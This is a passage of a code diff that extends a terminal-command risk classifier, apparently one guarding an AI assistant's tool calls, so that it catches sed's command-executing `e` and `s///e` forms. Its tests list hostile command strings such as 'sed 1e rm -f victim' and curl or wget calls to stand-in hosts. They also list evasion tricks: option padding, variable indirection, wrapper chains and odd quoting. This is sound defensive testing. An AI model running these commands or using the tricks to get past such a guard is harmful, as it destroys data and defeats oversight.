scanned too. It + # keeps every command boundary the blanket form has, so the token stream is + # the same and only quoted content differs: the pass adds detections without + # merging two commands into one segment. The set collapses to a single scan + # for the usual single-line command. + for text in {normalized, expanded, quoted_newlines_kept}: try: lexer = shlex.shlex(text, posix = True, punctuation_chars = ";&|()") lexer.whitespace_split = True @@ -3975,6 +5436,24 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: find_like = any( os.path.basename(t.strip(";&|()`{}")).lower() in ("find", "fd") for t in tokens ) + # Shared out over the sed words present, so a lone sed reads its whole + # argument list and a line packed with them stays linear (_sed_scan_limit). + sed_scan_limit = _sed_scan_limit( + sum(1 for t in tokens if os.path.basename(t.strip(";&|()`{}")).lower() in _SED_COMMANDS) + ) + # Built at most once per pass, and only when a sed program actually + # names a variable, so a line packed with sed words stays linear. + sed_vars: "dict[str, str] | None" = None + sed_bindings: "list[tuple[int, str, str | None]] | None" = None + sed_cursor = 0 + # Where a sed invocation really ends. Built at most once per pass, and + # only once a sed is actually reached, so a line without one never pays + # for the quote walk it needs (_quoted_separator_indexes). + sed_stops: "frozenset[int] | None" = None + sed_skips: "frozenset[int]" = frozenset() + sed_quoted: "frozenset[int]" = frozenset() + sed_globs: "frozenset[int]" = frozenset() + sed_expandable: "frozenset[int]" = frozenset() if find_like and any(t.split("=", 1)[0] in _HIGH_RISK_FIND_FLAGS for t in tokens): return True # GNU tar runs --checkpoint-action=exec=CMD at each checkpoint, hiding a @@ -4005,6 +5484,7 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: git_config_alias_pending = False # `git config alias.x` precedes its body git_glob_pending = False # a git global option (-C repo) precedes its value chdir_pending = False # a cd/pushd precedes its target directory + xargs_index = -1 # an xargs awaiting the command whose argv it builds for _tok_idx, token in enumerate(tokens): if ( token in _SHELL_SEPARATORS @@ -4013,6 +5493,7 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: ): expect_command = True prefix_pending = False + xargs_index = -1 # A dangling wrapper option (env -u ; rm ...) must not consume # the next segment's command word. wrapper_value_pending = False @@ -4050,6 +5531,12 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: # Bash accepts a redirection before the command word # (` bool: scan_forward = True expect_command = True continue + if exec_flag_pending and token[:2] in {"-x", "-X"} and len(token) > 2: + # fd takes the command attached to the SHORT option too, and + # only the exact spellings were read as one: `fd '^victim$' + # . -xrm` deletes the match for real (fdfind 9.0.0). + attached = token[2:].strip("\"'") + if attached and (_depth >= 3 or _terminal_is_high_risk(attached, _depth + 1)): + return True + scan_forward = True + expect_command = True + continue if current_command == "setpriv" and flag in _SETPRIV_PRIVILEGE_FLAGS: # Ahead of the wrapper-value skip below, which would otherwise # swallow `--reuid 0` before it is judged. @@ -4323,6 +5820,10 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: ): return True if base in _HIGH_RISK_FORWARDING_COMMANDS: + if base == "xargs" and xargs_index < 0: + # It builds the argv of whatever follows, so a sed there + # may be handed a program this scan cannot see. + xargs_index = _tok_idx # find/fd only run a child at -exec/-ok; forwarding from the # command itself would make `find . -name rm` prompt. if base in _EXEC_FLAG_FORWARDING_COMMANDS: @@ -4343,6 +5844,79 @@ def _terminal_is_high_risk(command: str, _depth: int = 0) -> bool: chdir_pending = True if base in _AWK_COMMANDS: awk_program_pending = True + if base in _SED_COMMANDS: + # `e` / `s///e` shell out from inside the script, which may + # ride on -e/--expression rather than the next positional. + # A script --sandbox / --posix stops sed compiling is already + # left out of the program (_sed_invocation), so a payload + # inside one never reaches this screen. + if sed_stops is None: + # A quoted `';'` / `'+'` operand is a sed FILE, not the + # end of the invocation; reading it as one dropped the + # `-e` script behind it (`sed -n ';' -e '1e rm -f + # victim' input` really runs rm). A redirection is the + # other way round: those words never reach sed at all. + sed_quoted = _quoted_separator_indexes(text, tokens, ";&|()") + _flags, sed_stops, sed_skips = _exec_scan_layout( + tokens, sed_quoted, _quoted_redirection_indexes(text, tokens, ";&|()") + ) + sed_globs = _unquoted_glob_indexes(text, tokens, ";&|()") + sed_expandable = _unquoted_expansion_indexes(text, tokens, ";&|()") + sed_alternatives, sed_overflowed, sed_live = _sed_invocation( + tokens, + _tok_idx, + sed_scan_limit, + sed_stops, + sed_skips, + sed_globs, + sed_expandable, + ) + sed_program = "\n".join(sed_alternatives) + if sed_overflowed: + # The script was pushed past the scan window by padding + # options, so "no payload found" only means "not looked + # at": ask instead of falling through to safe. + return True + if _sed_program_is_a_placeholder(sed_program): + # find rewrites `{}` before the child starts. + return True + if xargs_index >= 0 and _xargs_hides_sed_program( + tokens, xargs_index, _tok_idx, sed_program + ): + # xargs builds the argv from stdin or an -I placeholder, + # so the program is not in the text to read at all. + return True + if "$" in sed_program: + # A program held in a variable (p='# notee CMD'; + # sed "$p" f) is only a program once the reference is + # resolved, and only THIS pass keeps the quoted newline + # that ends the comment: the blanket one turns the whole + # value into a single inert comment line. Only the + # assignments ahead of this sed can reach it, and the + # last of them is the one bash uses. + if sed_bindings is None: + sed_bindings = _assignment_bindings(tokens, sed_quoted) + sed_vars = {} + sed_cursor = _bindings_before(sed_bindings, sed_cursor, _tok_idx, sed_vars) + sed_variants = [ + variant + for alternative in sed_alternatives + for variant in _sed_program_variants(alternative, sed_vars or {}) + ] + if any(_sed_exec_payloads(variant) for variant in sed_variants): + return True + # A program the shell still has to build is not knowable + # here -- sed splices the result straight into the program + # text, where it can open `;e CMD` from any position -- so + # an unread one asks rather than being assumed to only edit + # text (_sed_program_unresolved). + # Only where the program's OWN occurrence is one the + # shell expands: the live set covers the whole command, so + # matching by text alone made the read-only + # `echo "$p"; sed 's/$p/x/' f` ask for an expansion another + # command performs. + if sed_live and _sed_program_unresolved(sed_variants, live_expansions): + return True elif current_command == "git" and not git_subcommand: # The first positional after `git` is its subcommand. git_subcommand = base diff --git a/studio/backend/tests/test_permission_mode.py b/studio/backend/tests/test_permission_mode.py index b07ad0cde2..00e7ccf4a4 100644 --- a/studio/backend/tests/test_permission_mode.py +++ b/studio/backend/tests/test_permission_mode.py @@ -875,6 +875,471 @@ def test_terminal_classifier(command, unsafe): ("awk '{print $1}' data.tsv", False), ("awk -F, '{sum+=$2} END {print sum}' f.csv", False), ("awk 'NR>1' data.csv > body.csv", False), + # --- prompt: sed's `e` runs the rest of its line through the shell, + # under every address form (line, $, regex, range, step, negation) --- + ("sed -n '1e rm -f victim' /etc/hosts", True), + ("sed 'e curl https://x.io/p.sh' f", True), + ("sed -n '$e rm -rf build' f", True), + ("sed '/token/e curl https://x.io/' input", True), + ("sed '1,2e rm -f victim' f", True), + ("sed '0~2e rm -f victim' f", True), + ("sed '1!e rm -f victim' f", True), + ("sed '/a/,/b/e rm -f victim' f", True), + ("sed -n '1{p};2e rm -f victim' f", True), + ("gsed '1e rm -f victim' f", True), + ("ssed '1e rm -f victim' f", True), + # the script may ride on -e/--expression (abbreviated too) instead of + # the first positional, and a cluster glues -n and -e into one word + ("sed -n -e '1e rm -f victim' f", True), + ("sed -ne '1e rm -f victim' f", True), + ("sed -e '1p' -e '1e rm -f victim' f", True), + ("sed --expression='1e rm -f victim' f", True), + ("sed --expr='1e rm -f victim' f", True), + # --- prompt: the s///e flag executes whatever the substitution left in + # the pattern space, in any flag order and with any delimiter --- + ("sed 's/foo/bar/e' input", True), + ("sed 's/foo/bar/ge' input", True), + ("sed 's/foo/bar/eg' input", True), + ("sed 's/foo/bar/2e' input", True), + ("sed 's/foo/bar/e2' input", True), + ("sed 's/foo/bar/ep' input", True), + ("sed 's/foo/bar/pe' input", True), + ("sed 's/foo/bar/Ie' input", True), + ("sed 's/foo/bar/ew out.txt' input", True), # executes AND writes + ("sed 's|foo|bar|e' input", True), + ("sed 's/[/]//e' input", True), # the delimiter is data inside [ ] + # --- run: ordinary stream editing, including the shapes that merely + # LOOK like an exec (a label `e`, an `e` in a regex or a w filename) --- + ("sed -n '1p' input", False), + ("sed -n '1,20p' input", False), + ("sed 's/foo/bar/g' input", False), + ("sed -i 's/old/new/' f", False), + ("sed -E 's/(a|b)+/x/g' f", False), + ("sed -e 's/a/b/' -e 's/c/d/' f", False), + ("sed 's/e/E/g' f", False), + ("sed ':e;N;$!be;s/\\n/,/g' f", False), # the classic join-lines idiom + ("sed 's/foo/bar/w report.txt' f", False), # `w` takes the rest as a name + ("sed 's/foo/bar/we report.txt' f", False), # `w` first: the e is the name + ("sed -n '/error/w errors.txt' f", False), + ("sed '/^$/d' f", False), + ("sed 'y/abc/xyz/' f", False), + ("sed -n '/error/=' log", False), + ("sed -f cleanup.sed data.txt", False), # a program FILE, like awk -f + ("sed -e 's/a/b/' e", False), # `e` here is an input file, not a command + ("sed -e '1a\\' -e 'echo appended' f", False), # a\ continues into -e + ("echo \"sed '1e rm -f victim'\"", False), + ("printf '%s' sed '1e rm -f victim'", False), + # --- prompt: an `e` payload ending in a backslash continues onto the + # NEXT line, which sed hands to the same shell --- + ("sed -n '1e\\\nrm -f victim' f", True), + ("sed -n '1e touch a\\\nrm -f victim' f", True), + ("sed 'e r\\m -f victim' f", True), # the backslash drops, rm still runs + ("sed -e 'e\\' -e 'rm -f victim' f", True), + # --- prompt: a sed comment ends at a real NEWLINE, not at a `;`, so an + # `e` on the line after one is a command, not comment text --- + ("sed '# harmless\ne rm -f victim' input", True), + ("sed '#c1\n#c2\ne rm -f victim' input", True), + ("sed 's/a/b/w out.txt\ne rm -f victim' input", True), # w name ends too + ("sed '1r notes.txt\ne rm -f victim' input", True), + ("sed '1a hello\ne rm -f victim' input", True), + ("sed '# harmless;e rm -f victim' input", False), # one long comment + ("sed '# harmless\np' input", False), + # --- prompt: everything glued to -i is the backup SUFFIX, so the script + # is still the positional ahead; likewise -l/--line-length take an + # operand that is not the script --- + ("sed -ifoo '1e rm -f victim' input", True), + ("sed -itemp '1e rm -f victim' input", True), + ("sed -ni.bak '1e rm -f victim' input", True), + ("sed -ieBAK -e 'e rm -f victim' input", True), + ("sed -l 5 '1e rm -f victim' input", True), + ("sed -l5 '1e rm -f victim' input", True), + ("sed -le 'e rm -f victim' input", True), + ("sed --line-length 5 '1e rm -f victim' input", True), + ("sed --l 5 '1e rm -f victim' input", True), + ("sed --in-place=foo '1e rm -f victim' input", True), + ("sed -i.bak 's/x/y/' f", False), + ("sed -ifoo 's/x/y/' f", False), + ("sed -l 80 's/x/y/' f", False), + ("sed --line-length=80 -n '1,20p' f", False), + # --- prompt: sed under find -exec / xargs runs for real --- + ("find . -exec sed '1e rm -f victim' {} +", True), + ("find . -execdir sed '1e rm -f victim' {} \\;", True), + ("xargs sed '1e rm -f victim'", True), + ("find . -exec sed -n '1,3p' {} +", False), + ("find . -exec sed -i.bak 's/a/b/' {} +", False), + # --- prompt: a program the SHELL generates is not knowable here, since + # sed splices the output into the script text --- + ("sed \"$(printf 'e rm -f victim')\" input", True), + ('sed "$(cat prog.sed)" input', True), + ('sed -n "1,$(wc -l < f)p" f', True), # bounded cost of failing closed + # a substitution outside the program, and a literal `$(`/backtick inside + # single quotes, are not a generated program + ("sed -n '1,3p' $(ls)", False), + ("sed 's/`//g' NOTES.md", False), + ("sed 's/$(x)/y/' f", False), + # an apostrophe inside a DOUBLE-quoted word must not be paired with the + # next quote: doing so hid a real generated program, and mis-read a + # single-quoted one as generated + ('echo "it\'s"; sed "$(printf \'e rm -f victim\')" f', True), + ('echo "it\'s"; sed "$(printf \'e rm -f x\')" f; echo "that\'s"', True), + ("echo \"don't\" && sed 's/$(x)/y/' f", False), + ("echo \"don't\" && sed 's/`//g' NOTES.md", False), + # `\'` inside ANSI-C quoting is a quote character, not the end of the + # word, so the tracker must not invert from there on + ("sed -e $'s/\\'\\'/X/' -e \"$(cat prog.sed)\" f", True), + # the substitution has to reach the PROGRAM: one that only builds file + # operands leaves a program the scan can still read in full + ("sed -i 's/$(CC)/gcc/' $(git ls-files '*.mk')", False), + ("sed 's/`//g' $(ls *.md)", False), + # a paren the substitution QUOTES is text to the nested shell, so it must + # not raise the depth of the span: counting it left the closing `)` + # unmatched and dragged the following words in, and the text then no + # longer matched the program it had to be found inside + ("sed \"$(printf '(' >/dev/null; printf 'e rm -f victim')\" input", True), + ("sed \"$(printf ')' >/dev/null; printf 'e rm -f victim')\" input", True), + ("sed \"$(printf '()' >/dev/null; printf 'e rm -f victim')\" input", True), + # --- prompt: padding the options cannot push the script past the scan + # window, because a lone sed reads its whole argument list --- + ("sed " + "-n " * 128 + "'1e rm -f victim' input", True), + ("sed " + "-n " * 300 + "'1e rm -f victim' input", True), + ("sed " + "-n " * 128 + "-e '1e rm -f victim' input", True), + ("sed " + "-n " * 128 + "-n '1,3p' input", False), + ("sed " + "-n " * 300 + "'1,3p' input", False), + # --- prompt: a command prefix forwards -exec to its target, so the sed + # behind env/timeout/nice is the process find really runs --- + ("find . -exec env sed '1e rm -f victim' {} +", True), + ("find . -exec timeout 5 sed '1e rm -f victim' {} +", True), + ("find . -exec nice sed '1e rm -f victim' {} +", True), + ("find . -exec env A=b sed '1e rm -f victim' {} +", True), + ("find . -execdir env sed '1e rm -f victim' {} \\;", True), + ("find . -exec env sed -n '1,3p' {} +", False), + ("find . -exec env sed -i.bak 's/a/b/' {} +", False), + # --- run: --sandbox and --posix make GNU sed REFUSE e / s///e / a bare + # `e` and exit 1, so nothing reaches a shell and prompting was a false + # alarm. An unambiguous abbreviation (--sa, --p) is the same option --- + ("sed --sandbox '1e rm -f victim' input", False), + ("sed --posix '1e rm -f victim' input", False), + ("sed --sandbox --posix '1e rm -f victim' input", False), + ("sed --sa '1e rm -f victim' input", False), + ("sed --p '1e rm -f victim' input", False), + ("sed --sandbox -e '1e rm -f victim' input", False), + ("sed --sandbox --expression='1e rm -f victim' input", False), + ("sed --sandbox 's/aaa/rm -f victim/e' input", False), + ("sed --posix '1s/.*/rm -f victim/;1e' input", False), + ("sed --sandbox -- '1e rm -f victim' input", False), + # ...but only for the scripts written AFTER it: sed compiles each -e as + # that option is parsed, so `sed -e '1e touch MARKER' --sandbox input` + # creates MARKER + ("sed -e '1e rm -f victim' --sandbox input", True), + ("sed -e '1e rm -f victim' input --sandbox", True), + ("sed --expression='1e rm -f victim' --sandbox input", True), + ("sed -e 's/aaa/rm -f victim/e' input --sandbox", True), + ("sed -e '2d' --sandbox -e '1e rm -f victim' input", False), + ("sed -e '1e rm -f victim' --sandbox -e '2d' input", True), + # One after the POSITIONAL script suppresses only while getopt permutes, + # and POSIXLY_CORRECT turns that off from outside the command text, so a + # later flag never counts: `POSIXLY_CORRECT=1 sed '1e touch MARKER' + # input --sandbox` creates MARKER + ("sed '1e rm -f victim' --sandbox input", True), + ("sed '1e rm -f victim' input --sandbox", True), + ("sed '1e rm -f victim' input --posix", True), + ("POSIXLY_CORRECT=1 sed '1e rm -f victim' input --sandbox", True), + ("env POSIXLY_CORRECT=1 sed '1e rm -f victim' input --sandbox", True), + ("sed -n '1,3p' input --sandbox", False), + ("sed 's/a/b/g' input --posix", False), + # `--` ends option parsing, so a --sandbox behind it is an input FILE + ("sed -- '1e rm -f victim' input --sandbox", True), + ("sed '1e rm -f victim' -- input --sandbox", True), + ("sed -e '1e rm -f victim' -- input --sandbox", True), + # an ambiguous (--s is silent/separate/sandbox) or `=`-carrying spelling + # is a usage error rather than the mode, so it keeps asking + ("sed --s '1e rm -f victim' input", True), + ("sed --sandbox=1 '1e rm -f victim' input", True), + # --- run: a newline BETWEEN commands still separates them, so the + # segment-scoped checks must not read the next line's words as + # arguments of this one --- + ("git checkout main\nls", False), + ("git checkout main\nnpm test", False), + ("git checkout -b feature\ngit status", False), + ("git checkout v1.0\npython3 setup.py build", False), + ("export PATH=/usr/local/bin:$PATH\nmake", False), + ("IFS=,\nread a b c", False), + ("cd build\nmake -j4", False), + ("git checkout HEAD notes.txt\nls", True), # still a real pathspec + # --- prompt: the sed program has to be a literal this scan actually + # READ. A parameter transformation is not one, and there are too many + # of them to model one at a time, so an unread program asks instead of + # being assumed to only edit text (verified: `p='x 1e touch MARKER'; + # sed "${p#x }" input` creates MARKER) --- + ("p='x 1e rm -f victim'; sed \"${p#x }\" input", True), + ("p='1e rm -f victimZ'; sed \"${p%Z}\" input", True), + ("p='1X rm -f victim'; sed \"${p/X/e}\" input", True), + ('sed "${nope:-1e rm -f victim}" input', True), + ("p='XX1e rm -f victim'; sed \"${p:2}\" input", True), + ("real='1e rm -f victim'; ref=real; sed \"${!ref}\" input", True), + ("arr=('1e rm -f victim'); sed \"${arr[0]}\" input", True), + ("printf -v p '1e rm -f victim'; sed \"$p\" input", True), + ("read -r p <<< '1e rm -f victim'; sed \"$p\" input", True), + # a non-literal value is no resolution either: substituting the bare + # `$` the lexer leaves dressed an unread program up as a literal + ("p=$(printf '1e rm -f victim'); sed \"$p\" input", True), + # the one shape that pays for failing closed, and it is genuinely + # unread: a hostile value breaks out of the `s///` it sits in (verified + # with OLD='x/y/;1e touch MARKER;s/a') + ('sed "s/$old/$new/g" f', True), + ('sed -n "1,${n}p" f', True), + ('sed "/$pattern/d" f', True), + ('sed -i "s|$src|$dst|" f', True), + # ...but only where the expansion lands in the PROGRAM, and only when + # the shell really runs it + ('sed -n "1,3p" $file', False), + ("sed -i 's/foo/bar/' $(git ls-files '*.py')", False), + ("sed 's/${HOME}/~/' f", False), + ('sed "s/x$/y/" f', False), # `$` before `/` is sed's anchor, not bash + ('sed "$ d" f', False), # `$` before a space is literal to bash too + # arithmetic evaluates to an INTEGER, so it can spell no sed command + # (`x=e; echo $((x))` prints 0) and ordinary line maths stays silent... + ('sed -n "1,$((n + 1))p" f', False), + ('sed -n "1,$[n + 1]p" f', False), + # ...but its own punctuation must not hide the command behind it: the + # raw text reads `$((c+1))e rm` as a `c` append-text command that eats + # the payload, while real sed runs rm (`$((c+1))` is 1) + ('sed "$((c+1))e rm -f victim" input', True), + ('sed "$[c+1]e rm -f victim" input', True), + ('sed "$((4/2))e rm -f victim" input', True), + # one holding a command substitution is not collapsed away, so the + # generated program is still seen + ('sed "$(( $(printf 1) ))e rm -f victim" input', True), + # --- a find action is COMPLETE at its terminator, so the sed argument + # scan stops there. Running past it read the next predicate's `-e safe` + # as the sed program and threw away the real script --- + ("find . -exec sed '1e rm -f victim' {} + -exec grep -e safe {} +", True), + ("find . -exec grep -e safe {} + -exec sed '1e rm -f victim' {} +", True), + ("find . -exec sed '1e rm -f victim' {} \\; -exec grep -e safe {} \\;", True), + ("find . -exec sed -n '1,3p' {} + -exec grep -e safe {} +", False), + ("find . -exec sed -i.bak 's/a/b/' {} + -exec chmod 644 {} +", False), + # ...but ONLY inside one. shlex strips the quoting, so a sed FILE + # operand spelled `';'` arrives as the token a real separator does, and + # stopping there discarded the `-e` behind it (verified: + # `sed -n ';' -e '1e touch MARKER' input` creates MARKER) + ("sed -n ';' -e '1e rm -f victim' input", True), + ("sed -n '+' -e '1e rm -f victim' input", True), + ("sed ';' -e '1e rm -f victim' input", True), + ("sed '+' -e '1e rm -f victim' input", True), + ("sed -n '&' -e '1e rm -f victim' input", True), + ("sed -n '|' -e '1e rm -f victim' input", True), + ("sed -n '(' -e '1e rm -f victim' input", True), + ("sed -n ';' -e '1,3p' input", False), + ("sed -n '+' -e '1,3p' input", False), + ("sed ';' -n '1,3p' input", False), + # a BARE separator still ends the invocation, so the next command's + # words are not read as more sed arguments + ("sed -n '1,3p' input; grep -e safe input", False), + # --- prompt: a redirection is performed and REMOVED by the shell, so + # sed never receives those words. Leaving them in place made the first + # of them the positional script and the real one went unread. Verified + # on GNU sed 4.9: every form below creates MARKER with a `touch MARKER` + # payload --- + ("sed out.txt '1e rm -f victim' input", True), + ("sed 2>/dev/null '1e rm -f victim' input", True), + ("sed 2>&1 '1e rm -f victim' input", True), + ("sed &>out.txt '1e rm -f victim' input", True), + ("sed >|out.txt '1e rm -f victim' input", True), + ("sed <<< 'aaa' '1e rm -f victim'", True), + # --- run: the same redirections around ordinary stream editing --- + ("sed -n '1,3p' input > out.txt", False), + ("sed 's/a/b/g' input 2>/dev/null", False), + ("sed -n '1,3p' < input", False), + ("sed -n '1,3p' out '1e rm -f victim' input", True), + ("sed > --sandbox '1e rm -f victim' input", True), + ("sed > ';' '1e rm -f victim' input", True), + # --- prompt: a late program flag and the positional are ALTERNATIVES, + # so an unterminated command in one no longer swallows the other --- + ("sed '1e rm -f victim' input -e safe", True), + # --- prompt: find batches only at a real `{} +`, so a `+` elsewhere is + # an argument it hands the child --- + ("find . -type f -exec sed -n '+' -e '1e rm -f victim' {} +", True), + # --- run: the `;` twin really does end the action, however spelled --- + ("find . -exec sed -n ';' -e '1e rm -f victim' {} \\;", False), + # --- prompt: an -f naming a stream takes the script off stdin --- + ("sed -f - input", True), + ("sed --file=/dev/stdin input", True), + # --- run: a named program file is unreadable in a different way --- + ("sed -f prog.sed input", False), + # --- prompt: bash expands the program word before sed is started --- + ("sed *", True), + ("sed -e *.sed input", True), + # --- run: a quoted program expands nothing, and a glob among the FILE + # operands is not the program --- + ("sed 's/a*/b/' f", False), + ("sed -n '1,3p' *.txt", False), + ("sed -i 's/x*/y/g' src/*.py", False), + # --- prompt: ANSI-C decoding keeps the newline a sed comment ends at, + # and the spaces and `#` around it, so the payload behind one is read --- + ("sed -n $'# harmless\\ne rm -f victim' input", True), + ("sed -n $'1,3p' input", False), + # --- prompt: an assignment inside a function body bash has not run is + # not the current value, so the name is cleared rather than guessed --- + ("""p='1e rm -f victim'; f() { p='1,3p'; }; sed "$p" input""", True), + # --- prompt: an -f taking a process substitution is a generated + # /dev/fd/N script, which is unread rather than absent --- + ("sed -f <(printf 'e rm -f victim') input", True), + ("sed --file=<(printf 'e rm -f victim') input", True), + # --- prompt: shlex removes the escaping, so a live expansion has to be + # matched in the same representation the token carries --- + ('sed "`printf \\"1e rm -f victim\\"`" input', True), + # --- run: an escaped expansion is data the program merely quotes --- + ('sed "s/\\$(CC)/gcc/" Makefile', False), + # --- prompt: find rewrites `{}` before the child starts, so it is not + # a program that was read --- + ("printf 'input\\n' | find '1e rm -f victim' -exec xargs sed {} +", True), + ("find . -exec sed {} +", True), + # --- run: a `{}` among the FILE operands is the ordinary idiom --- + ("find . -exec sed -n '1,3p' {} +", False), + ("find . -exec sed -i 's/a/b/' {} +", False), + # --- prompt: a QUOTED redirection is a word the command receives --- + ("sed -f '>prog' -e '1e rm -f victim' input", True), + ("sed 2>'/dev/null' '1e rm -f victim' input", True), + # --- run: an operand that merely starts with one --- + ("sed -n '1,3p' '>notes'", False), + # --- prompt: an apostrophe no longer sends the ANSI-C word down the + # flattening path that destroys the newline ending a sed comment --- + ("sed -n $'# it\\'s harmless\\ne rm -f victim' input", True), + # --- prompt: fd takes the command attached to its SHORT exec option --- + ("fd '^victim$' /tmp/work -xrm", True), + ("fd '^victim$' . -Xrm", True), + # --- run: nothing behind a bare `--` is an option, so a pattern named + # `-x` merely lists the file it matches --- + ("fd -- -x rm", False), + # --- run: an expansion another command performs is not this program's, + # so a single-quoted one that only spells the same thing stays silent --- + ("""echo "$p"; sed 's/$p/x/' f""", False), + # --- prompt: fd runs its -x / -X / --exec / --exec-batch child + # directly, the same way find runs an -exec one --- + ("fd -x sed '1e rm -f victim' {}", True), + ("fd --exec sed '1e rm -f victim' {}", True), + ("fd -X sed '1e rm -f victim' {}", True), + ("fd --exec-batch sed '1e rm -f victim' {}", True), + ("fd -x env sed '1e rm -f victim' {}", True), + ("fd -x sed -n '1,3p' {}", False), + ("fd . -x wc -l {}", False), + # those letters belong to too many other tools to read a neighbour of + # them as a command, so they only count while find/fd is in scope and no + # action is open yet + ("grep -x rm file", False), + # --- prompt: a wrapper chain longer than the hop budget leaves the + # command find really runs UNREAD, which is not the same as there being + # none. Verified: `find . -exec` + 33 `env` + `sed '1e touch MARKER' {} + # +` creates MARKER --- + ("find . -exec " + "env " * 33 + "sed '1e rm -f victim' {} +", True), + ("find . -exec " + "env " * 8 + "sed '1e rm -f victim' {} +", True), + ("find . -exec " + "env " * 8 + "sed -n '1,3p' {} +", False), + # --- prompt: a wrapper option whose value is a SEPARATE token consumes + # that token, so the command behind it is the one that runs. Without + # that, `env -u FOO sed ...` reported FOO as the command --- + ("find . -exec env -u FOO sed '1e rm -f victim' {} +", True), + ("find . -exec env --unset FOO sed '1e rm -f victim' {} +", True), + ("find . -exec stdbuf -o L sed '1e rm -f victim' {} +", True), + ("find . -exec nice -n 5 sed '1e rm -f victim' {} +", True), + ("find . -exec timeout -s KILL 5 sed '1e rm -f victim' {} +", True), + ("find . -exec env -u FOO sed -n '1,3p' {} +", False), + ("find . -exec stdbuf -o L sed -n '1,3p' {} +", False), + # --- prompt: a script held in a VARIABLE is only a program once the + # reference is resolved, and only the pass that keeps the quoted newline + # sees the comment end (the blanket one reads the whole value as one + # long comment, which is genuinely inert there) --- + ("p='# harmless\ne rm -f victim'; sed \"$p\" input", True), + ("p='# harmless\ne rm -f victim'; sed \"${p}\" input", True), + ('p=e; sed "$p rm -f victim" input', True), + ("p='1,3p'; sed -n \"$p\" input", False), + ("p='s/old/new/g'; sed \"$p\" input", False), + ("p='# harmless'; sed \"$p\" input", False), + # ...and the binding bash uses is the one performed most recently BEFORE + # the reference. Folding the line into a first-wins map kept the + # earliest instead, so an innocent first assignment hid the real + # program: verified that `p='1,3p'; p='1e touch MARKER'; sed "$p" input` + # creates MARKER, while the reverse order is genuinely inert + ("p='1,3p'; p='1e rm -f victim'; sed \"$p\" input", True), + ("p='s/a/b/'; p='1e rm -f victim'; sed \"$p\" input", True), + ("p='1e rm -f victim'; p='1,3p'; sed \"$p\" input", False), + ("p='1,3p'; p='s/a/b/'; sed \"$p\" input", False), + # only the assignments AHEAD of a sed can reach it, so a later one does + # not disarm an earlier program (verified: this creates MARKER too) + ("p='1e rm -f victim'; sed \"$p\" input; p='1,3p'", True), + # a non-literal reassignment CLEARS the name instead of leaving the + # stale earlier value standing, so the program is unread and asks + ("p='1,3p'; p=$(printf '1e rm -f victim'); sed \"$p\" input", True), + # each sed on the line is judged against its own scope + ("p='1,3p'; sed \"$p\" f; p='1e rm -f victim'; sed \"$p\" f", True), + ("p='1,3p'; sed \"$p\" f; p='s/a/b/'; sed \"$p\" f", False), + # --- prompt: bash resolves a command-position GLOB after this scan, so + # a pattern that could be sed is treated as sed --- + ("/usr/bin/s[e]d '1e rm -f victim' input", True), + ("/usr/bin/s*d '1e rm -f victim' input", True), + # any command glob already asks, sed or not, so this one is not a claim + # about the script -- it is the blanket fail-closed rule + ("/usr/bin/s[e]d -n '1,3p' input", True), + # --- run: inside double quotes a backslash quotes `$` and a backtick, + # so `\$(CC)` is a literal dollar and opens no substitution. Reading it + # as one made an everyday Makefile edit ask; real bash passes it through + # and sed executes nothing (verified: it prints CC=cc) --- + ('sed "s/\\$(CC)/gcc/" Makefile', False), + ('sed -i "s/\\$(PREFIX)/opt/" Makefile', False), + ('sed "s/\\`date\\`/x/" NOTES.md', False), + ('sed "s/x/\\$(y)/" f', False), + # ...but an UNescaped one still generates the program, and a doubled + # backslash is a literal backslash followed by a LIVE substitution + ('sed "s/@X@/$(date)/" f', True), + ("sed \"\\\\$(printf 'e rm -f victim')\" input", True), # --- prompt: setpriv execs what follows, after changing privilege --- ("setpriv --nnp rm -f victim", True), ("setpriv --reuid=1000 rm -rf build", True), diff --git a/studio/backend/tests/test_sandbox_tools.py b/studio/backend/tests/test_sandbox_tools.py index 1a55c6298d..98ac9658e9 100644 --- a/studio/backend/tests/test_sandbox_tools.py +++ b/studio/backend/tests/test_sandbox_tools.py @@ -13,7 +13,7 @@ _BACKEND_ROOT = Path(__file__).resolve().parents[1] if str(_BACKEND_ROOT) not in sys.path: sys.path.insert(0, str(_BACKEND_ROOT)) -from core.inference.tools import _check_code_safety +from core.inference.tools import _check_code_safety, is_high_risk_tool_call def _ok(code: str): @@ -637,6 +637,588 @@ class TestBashBlocklistPosition: # Recursion into the nested command string catches command-position curl. assert "curl" in self._find()("bash -c 'curl https://x'") + def test_sed_exec_payload_blocked(self): + # sed's `e COMMAND` hands COMMAND to the shell, so the payload is a real + # command position hiding inside the script argument. + assert "rm" in self._find()("sed -n '1e rm -rf victim' input") + assert "curl" in self._find()("sed -e '/x/e curl https://x' input") + assert "rm" in self._find()("sed -ne '$e rm -rf build' input") + assert "wget" in self._find()("sed '1,2e wget https://bad' input") + + def test_sed_exec_payload_continues_past_backslash(self): + # An `e` payload whose line ends in a backslash carries onto the NEXT + # line, which reaches the same shell, so the scan must not stop at the + # newline. Quote splitting (r''m) hides the name from the raw-text + # fallback, leaving the parsed payload as the only place rm shows up. + assert "rm" in self._find()("sed -n '1e\\\nrm -f victim' f") + assert "rm" in self._find()("sed -n '1e\\\nr''m -f victim' f") + assert "rm" in self._find()("sed -n '1e touch a\\\nrm -f victim' f") + # A backslash before an ordinary character drops away: r\m runs rm. + assert "rm" in self._find()("sed 'e r\\m -f victim' f") + + def test_sed_comment_ends_at_newline(self): + # A sed comment runs to a real newline, so an `e` on the line after one + # is a command; with a literal `;` it is still all comment. + assert "rm" in self._find()("sed '# harmless\ne rm -f victim' input") + assert "curl" in self._find()("sed 's/a/b/w out.txt\ne curl https://x' input") + assert self._find()("sed '# harmless;e rm -f victim' input") == set() + + def test_sed_attached_i_suffix_does_not_hide_the_script(self): + # Everything glued to -i is the backup suffix, so `-ifoo` is not an + # attached -f and the script is still the positional ahead. -l and + # --line-length take an operand that is likewise not the script. + assert "rm" in self._find()("sed -ifoo '1e rm -f victim' input") + assert "rm" in self._find()("sed -itemp '1e rm -f victim' input") + assert "curl" in self._find()("sed -ni.bak '1e curl https://x' input") + assert "rm" in self._find()("sed -l 5 '1e rm -f victim' input") + assert "rm" in self._find()("sed --line-length 5 '1e rm -f victim' input") + assert self._find()("sed -ifoo 